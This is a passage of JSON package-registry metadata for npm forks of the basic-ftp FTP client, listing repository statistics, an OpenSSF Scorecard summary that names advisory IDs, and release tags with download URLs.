e50267c599c3169b0f9c57f8796149b57","kind":"tag","published_at":"2017-12-31T17:18:24.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"ab8d752c781aedfee1b681bb8344a2789c265bf2","kind":"tag","published_at":"2017-12-30T23:15:51.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.2/manifests"}]},"repo_metadata_updated_at":"2026-08-22T11:44:29.436Z","dependent_packages_count":1,"downloads":9,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":10.214357741314851,"dependent_repos_count":25.32799796580169,"dependent_packages_count":16.223928578504864,"stargazers_count":3.580240447722848,"forks_count":4.075300658231189,"average":11.884365078315088},"purl":"pkg:npm/doodlemoonch-ftp","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/doodlemoonch-ftp","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/doodlemoonch-ftp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/doodlemoonch-ftp/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-21T10:38:30.709Z","issues_count":125,"pull_requests_count":35,"avg_time_to_close_issue":10598646.875,"avg_time_to_close_pull_request":13587561.0,"issues_closed_count":112,"pull_requests_closed_count":30,"pull_request_authors_count":18,"issue_authors_count":108,"avg_comments_per_issue":2.872,"avg_comments_per_pull_request":1.5142857142857142,"merged_pull_requests_count":11,"bot_issues_count":0,"bot_pull_requests_count":13,"past_year_issues_count":4,"past_year_pull_requests_count":11,"past_year_avg_time_to_close_issue":654818.0,"past_year_avg_time_to_close_pull_request":1455858.4545454546,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":11,"past_year_pull_request_authors_count":2,"past_year_issue_authors_count":4,"past_year_avg_comments_per_issue":0.5,"past_year_avg_comments_per_pull_request":1.2727272727272727,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":9,"past_year_merged_pull_requests_count":2,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/issues","maintainers":[{"login":"patrickjuchli","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickjuchli"}],"active_maintainers":[{"login":"patrickjuchli","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickjuchli"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/doodlemoonch-ftp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/doodlemoonch-ftp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/doodlemoonch-ftp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/doodlemoonch-ftp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/doodlemoonch-ftp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/doodlemoonch-ftp/codemeta","maintainers":[{"uuid":"doodlemoonch","login":"doodlemoonch","name":null,"email":"matt@doodlemoonch.com","url":null,"packages_count":6,"html_url":"https://www.npmjs.com/~doodlemoonch","role":null,"created_at":"2022-11-12T02:07:22.295Z","updated_at":"2022-11-12T02:07:22.295Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/doodlemoonch/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5777787,"maintainers_count":1236486,"namespaces_count":421466,"keywords_count":881826,"github":"npm","metadata":{"funded_packages_count":189888,"rate_limit":2},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-08-24T05:03:24.460Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":2315892,"name":"rollstudio-basic-ftp","ecosystem":"npm","description":"FTP client for Node.js, supports explicit FTPS over TLS, IPv6, Async/Await, and Typescript.","homepage":"https://github.com/patrickjuchli/basic-ftp#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/patrickjuchli/basic-ftp","keywords_array":["ftp","ftps","promise","async","await","tls","ipv6","typescript"],"namespace":null,"versions_count":1,"first_release_published_at":"2019-03-21T12:41:55.935Z","latest_release_published_at":"2019-03-21T12:41:55.935Z","latest_release_number":"3.4.4","last_synced_at":"2026-08-23T11:45:57.072Z","created_at":"2022-04-10T00:04:33.865Z","updated_at":"2026-08-23T18:23:05.885Z","registry_url":"https://www.npmjs.com/package/rollstudio-basic-ftp","install_command":"npm install rollstudio-basic-ftp","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"3.4.4"},"contentPolicy":null},"repo_metadata":{"id":41537176,"uuid":"115804484","full_name":"patrickjuchli/basic-ftp","owner":"patrickjuchli","description":"FTP client for Node.js, supports FTPS over TLS, passive mode over IPv6, async/await, and Typescript.","archived":false,"fork":false,"pushed_at":"2026-08-11T17:49:17.000Z","size":1348,"stargazers_count":734,"open_issues_count":11,"forks_count":101,"subscribers_count":8,"default_branch":"master","last_synced_at":"2026-08-20T08:24:54.025Z","etag":null,"topics":["async-await","ftp","ftps","ipv6","nodejs","promise","tls","typescript"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/patrickjuchli.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":"NOTICE.txt","maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2017-12-30T15:11:28.000Z","updated_at":"2026-08-16T22:03:13.000Z","dependencies_parsed_at":"2026-08-06T02:35:37.973Z","dependency_job_id":null,"html_url":"https://github.com/patrickjuchli/basic-ftp","commit_stats":{"total_commits":851,"total_committers":17,"mean_commits":50.05882352941177,"dds":"0.025851938895417148","last_synced_commit":"6deecaf9f3aa0312c92ee96389c405b79311e862"},"previous_names":[],"tags_count":117,"template":false,"template_full_name":null,"purl":"pkg:github/patrickjuchli/basic-ftp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/sbom","scorecard":{"id":722332,"data":{"date":"2025-08-11","repo":{"name":"github.com/patrickjuchli/basic-ftp","commit":"22e4bf0529352d2b439bf0d694dcf2db6ac8f661"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.4,"checks":[{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql-analysis.yml:28","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql-analysis.yml:29","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Warn: no topLevel permission defined: .github/workflows/nodejs.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:57: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/nodejs.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/nodejs.yml/master?enable=pin","Info:   0 out of   6 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: MIT License: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"SAST","score":7,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 0 commits out of 2 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":4,"reason":"6 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-grv7-fg5c-xmjg","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-952p-6rrq-rcjv","Warn: Project is vulnerable to: GHSA-mwcw-c2x4-8c55","Warn: Project is vulnerable to: GHSA-76p7-773f-r4q5"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T11:44:33.931Z","repository_id":41537176,"created_at":"2025-08-22T11:44:33.931Z","updated_at":"2025-08-22T11:44:33.931Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36790533,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-20T02:00:06.210Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"patrickjuchli","name":"Patrick Juchli","uuid":"397839","kind":"user","description":"","email":"","website":"https://patrickjuchli.com/en/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/397839?u=435f3c32b05790049a8b7b70449871fdf7304e9d\u0026v=4","repositories_count":11,"last_synced_at":"2024-03-21T09:48:16.358Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/patrickjuchli","funding_links":[],"total_stars":650,"followers":null,"following":null,"created_at":"2022-11-09T05:27:07.222Z","updated_at":"2024-03-21T09:48:18.553Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli/repositories"},"tags":[{"name":"v6.2.0","sha":"a825fdca3cd3895e0535726a473e143fc2755291","kind":"commit","published_at":"2026-08-02T08:00:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.2.0/manifests"},{"name":"v6.1.0","sha":"e025e1d826a9948afb23ed5e7cde438dc8bd1bcd","kind":"commit","published_at":"2026-08-01T16:39:50.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.1.0/manifests"},{"name":"v6.0.2","sha":"4d608b9116c8d2674728953fd9a3adfb1ddd7b03","kind":"commit","published_at":"2026-07-25T09:17:48.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.2/manifests"},{"name":"v6.0.1","sha":"aab681b95e665d4940b131a8d23e2ae11d93f38b","kind":"commit","published_at":"2026-05-03T08:43:49.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.1/manifests"},{"name":"v6.0.0","sha":"b35e76082ffa5e787ccb83be08589f1d73e75969","kind":"commit","published_at":"2026-04-29T14:32:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.0/manifests"},{"name":"v5.3.1","sha":"980371bb6057d78d479b5cfc18683392abd2c45f","kind":"commit","published_at":"2026-04-27T20:38:46.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.1/manifests"},{"name":"v5.3.0","sha":"c9378a8ff73b96e89f17525266d648ce495286a6","kind":"commit","published_at":"2026-04-15T19:35:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.0/manifests"},{"name":"v5.2.2","sha":"e9d09d6815b300b73e1297cdcf91786a979ef212","kind":"commit","published_at":"2026-04-09T21:20:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.2/manifests"},{"name":"v5.2.1","sha":"ba40f9d60e1ff7b63de5d5bb272ae317e5382689","kind":"commit","published_at":"2026-04-08T15:29:53.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.1/manifests"},{"name":"v5.2.0","sha":"5d41e45073ed1a8a3b5e5a1bbfcd131e61295bf8","kind":"commit","published_at":"2026-02-23T08:13:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.0/manifests"},{"name":"v5.1.0","sha":"9da4af0e1f82fe372bedc1b7820f55c6eaf012e5","kind":"commit","published_at":"2025-12-26T21:24:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.1.0/manifests"},{"name":"v5.0.5","sha":"1c92a9438704585a80aeaaad3e060382a35edad3","kind":"commit","published_at":"2024-02-27T21:05:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.5/manifests"},{"name":"v5.0.4","sha":"80e27be5dc562e5e18fcb2889e21d9568917dc1c","kind":"commit","published_at":"2023-12-13T19:58:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.4/manifests"},{"name":"v5.0.3","sha":"aa83d68f8958c4cc2684d35b2f6724afa5904adc","kind":"commit","published_at":"2023-05-05T08:12:17.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.3/manifests"},{"name":"v5.0.2","sha":"6deecaf9f3aa0312c92ee96389c405b79311e862","kind":"commit","published_at":"2022-09-01T10:52:41.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.2/manifests"},{"name":"v5.0.1","sha":"864f57e62fde72572f79509f81d976145815b82d","kind":"commit","published_at":"2022-07-21T09:24:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.1/manifests"},{"name":"v5.0.0","sha":"9bd6aa772524cef2800db5a71169130d18983e80","kind":"commit","published_at":"2022-07-16T07:38:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.0/manifests"},{"name":"4.6.6","sha":"80b805759413d023cc6fb0b9ae12d7d0fe8d5e27","kind":"commit","published_at":"2021-03-27T17:46:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/4.6.6","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/4.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@4.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/4.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/4.6.6/manifests"},{"name":"v4.6.5","sha":"27444603def5a4a89653e11e9c6089783bbf7c82","kind":"commit","published_at":"2021-03-26T19:49:31.000Z","download_url"